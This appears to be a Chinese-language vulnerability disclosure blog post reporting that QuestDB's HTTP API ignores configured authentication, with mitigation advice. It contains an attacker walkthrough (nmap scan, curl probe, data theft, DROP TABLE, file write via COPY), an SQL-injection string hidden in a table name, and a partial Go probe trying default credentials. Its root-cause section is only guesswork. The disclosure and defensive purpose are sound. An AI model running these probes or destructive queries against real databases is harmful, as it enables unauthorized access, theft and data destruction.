善意声明
作为一名怀着赤诚之心的安全研究员,我谨在此郑重声明:本次安全审计的唯一目的是帮助改进系统安全性,为保护用户数据安全尽一份力。报告中所有敏感信息均已进行脱敏处理。我始终秉持善意披露、负责任报告的原则,在将漏洞提交至国家信息安全漏洞共享平台(CNVD)的同时,也早已将完整细节同步给 QuestDB 官方安全团队,并积极协助其开发修复补丁。
QuestDB 是谁?
QuestDB 是一个开源的高性能时序数据库,专为快速数据摄入和基于 SQL 的分析而设计。它采用 Java 和 Rust 编写,利用列式存储模型和 SIMD 指令实现极低延迟查询。
它有多火?
在金融交易、物联网传感器数据、DevOps 监控和实时分析等领域,QuestDB 几乎是开发者的首选。
然而,就是这样一款明星产品,却隐藏着一个致命的配置失效漏洞。
默认暴露的接口
默认情况下,QuestDB 暴露多个网络接口:
| 接口 | 端口 | 协议 | 用途 |
|---|---|---|---|
| HTTP REST API | 9000 | HTTP | SQL 查询、数据导入导出、健康检查 |
| PostgreSQL 线协议 | 8812 | TCP | 使用标准客户端访问 |
| InfluxDB 行协议 | 9009 | TCP | 高吞吐量数据摄入 |
更关键的是:所有接口默认监听 0.0.0.0,且未启用任何认证。
漏洞发现:配置为何成了摆设?
许多管理员会通过配置文件开启认证,期望达到这样的安全效果:
ini
http.security=true
pg.security=true
line.tcp.auth.enabled=true
config.validation.strict=true
任何未携带有效凭证的 HTTP 请求访问 /exec 都应返回 401 Unauthorized。
然而,实际测试结果令人震惊:即使配置了上述指令,HTTP 端点依然接受所有请求,完全未进行任何凭证验证。
无凭证、错误凭证、畸形头或空凭证的请求全部返回 200 OK 并包含有效的查询结果。
根本原因分析
- 配置文件可能未被正确读取(路径错误、权限问题)。
- 解析器可能忽略了特定语法的配置行。
- 特定版本的软件缺陷导致安全标志无法生效。
config.validation.strict=true未能在配置错误时阻止服务启动,使得服务器以默认(不安全)设置运行。
攻击者视角:三步接管数据库
第一步:端口扫描
bash
nmap -p 9000,8812,9009 <目标_IP>
一旦发现 9000 端口开放,攻击者即可确定目标。
第二步:探测认证
bash
curl -v http://<目标_IP>:9000/exec?query=SELECT+1
如果返回 JSON 格式的查询结果(如 {"dataset":}),则确认数据库完全开放。
第三步:为所欲为
-
数据窃取 :
SELECT * FROM users -
数据销毁 :
DROP TABLE critical_logs -
文件写入 (如果权限允许):
bashcurl -G --data-urlencode "query=COPY (SELECT 'malicious') TO '/tmp/evil.csv'" http://<目标_IP>:9000/exec
SQL注入尝试与发现
在研究过程中,我还尝试探测是否存在 SQL 注入:
sql
CREATE TABLE "test`; DROP TABLE users; --" (ts timestamp, val double);
QuestDB 自身的解析器对标识符处理是安全的,不会执行分号后的多条语句。但这一尝试揭示了应用层拼接 SQL 的潜在风险。如果上层应用未对用户输入进行充分过滤,攻击者仍可能通过表名、列名等注入恶意 SQL。
漏洞验证程序(PoC)核心片段
为了系统性地验证漏洞,我编写了一个 Go 语言自动化探测工具,确认认证强制机制完全失效。
go
package main
import (
"encoding/json"
"fmt"
"io"
"net/http"
"time"
)
var (
colorRed = "\033[31m"
colorReset = "\033[0m"
baseURL = "http://localhost:9000/exec?query=SELECT+1"
users = []string{
"admin", "quest", "root", "user", "test",
}
passwords = []string{
"quest", "password", "admin", "123456", "questdb", "",
}
tests = []TestCase{
{
Name: "无认证头",
SetAuth: func(req *http.Request) {},
ExpectAuth: true,
},
{
Name: "Basic 错误密码 (admin:wrong)",
SetAuth: func(req *http.Request) {
req.SetBasicAuth("admin", "wrong")
},
ExpectAuth: true,
},
{
Name: "Basic 空用户名密码 (:)",
SetAuth: func(req *http.Request) {
req.SetBasicAuth("", "")
},
ExpectAuth: true,
},
{
Name: "Basic admin:quest",
SetAuth: func(req *http.Request) {
req.SetBasicAuth("admin", "quest")
},
ExpectAuth: false, // 假设这是一个常见默认凭据
},
// ... 其他测试用例
{
Name: "畸形 Basic 头 (Basic abc1234567890)",
SetAuth: func(req *http.Request) {
req.Header.Set("Authorization", "Basic abc1234567890")
},
ExpectAuth: true,
},
{
Name: "空 Authorization 头",
SetAuth: func(req *http.Request) {
req.Header.Set("Authorization", "")
},
ExpectAuth: true,
},
}
)
type TestCase struct {
Name string
SetAuth func(req *http.Request)
ExpectAuth bool // 我们是否期望这个请求因缺少/错误的认证而失败?
}
func main() {
// ... (main function logic)
// 代码逻辑会遍历所有测试用例,发送请求,并检查响应状态码和内容
// 如果一个应该失败的请求(ExpectAuth=true)却返回了200 OK和有效数据,则证明存在漏洞
}
运行结果:
所有测试用例均返回 200 OK 且包含有效数据,证实认证完全失效。
text
go run main.go
*** QuestDB 认证绕过测试 POC ***
目标: http://<目标的_IP>:9000/exec?query=SELECT+1
测试时间: 2026-02-14 00:04:13
测试: 无认证头
HTTP 状态码: 200
响应包含有效数据集 (认证绕过成功)
响应预览: {"query": "SELECT 1", "columns":[{"name": "1", "type": "INT"}],"timestamp":-1, "dataset":, "count": 1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized,但实际返回 200 OK 且包含有效数据负载。
测试: Basic 错误密码 (admin:wrong)
HTTP 状态码: 200
响应包含有效数据集 (认证绕过成功)
... (其他所有测试用例同样失败)
影响与风险分析
| 风险维度 | 具体危害 |
|---|---|
| 机密性 | 业务指标、用户活动、金融交易等敏感时序数据完全暴露 |
| 完整性 | 攻击者可任意篡改历史记录,或通过 DROP 操作销毁数据 |
| 可用性 | 发起消耗资源的复杂查询,可导致拒绝服务 |
| 横向移动 | 被攻陷的实例可作为跳板,进一步渗透内部网络 |
修复与防御建议
针对当前已确认但尚未发布官方补丁的认证绕过漏洞,建议所有使用 QuestDB 的用户立即采取以下措施:
立即执行的临时缓解方案
在 CNVD 和 QuestDB 官方团队完成漏洞验证并发布修复补丁之前,必须通过外部手段强制保障数据库安全:
-
部署 Nginx 反向代理并强制认证 在 QuestDB 实例前部署 Nginx,并配置 HTTP Basic 认证。所有访问请求必须经过 Nginx 代理,通过认证后才转发至后端的 QuestDB 服务。这是目前最有效的临时防护手段。
Nginx 配置示例:
nginxlocation / { proxy_pass http://127.0.0.1:9000; auth_basic "Restricted Access - QuestDB"; auth_basic_user_file /etc/nginx/.htpasswd; } -
网络层严格限制 通过防火墙或安全组,严格限制对 QuestDB 原生端口(9000、8812、9009)的访问,仅允许内部可信 IP 或跳板机连接。
-
本地绑定 修改 QuestDB 配置文件,将服务绑定到
127.0.0.1,确保其仅能通过本地反向代理访问:inihttp.bind.to=127.0.0.1:9000 pg.bind.to=127.0.0.1:8812 line.tcp.bind.to=127.0.0.1:9009
等待官方处置
我已将完整漏洞报告提交至 国家信息安全漏洞共享平台(CNVD) 和 QuestDB 官方安全团队,两方均已受理并进入验证流程。
在官方发布正式修复补丁之前,请务必坚持执行上述临时方案,切勿依赖已经失效的内置认证配置。一旦 CNVD 完成审核或 QuestDB 发布新版,我将第一时间同步更新防护建议。
核心原则:在官方验证完成并提供补丁前,必须通过 Nginx 等外部手段强制实施安全控制,绝不能将数据库直接暴露在不可信网络中。
参考资料
本文涉及的技术细节和后续更新,请参考: www.ctkqiang.xin/bug-bounty-...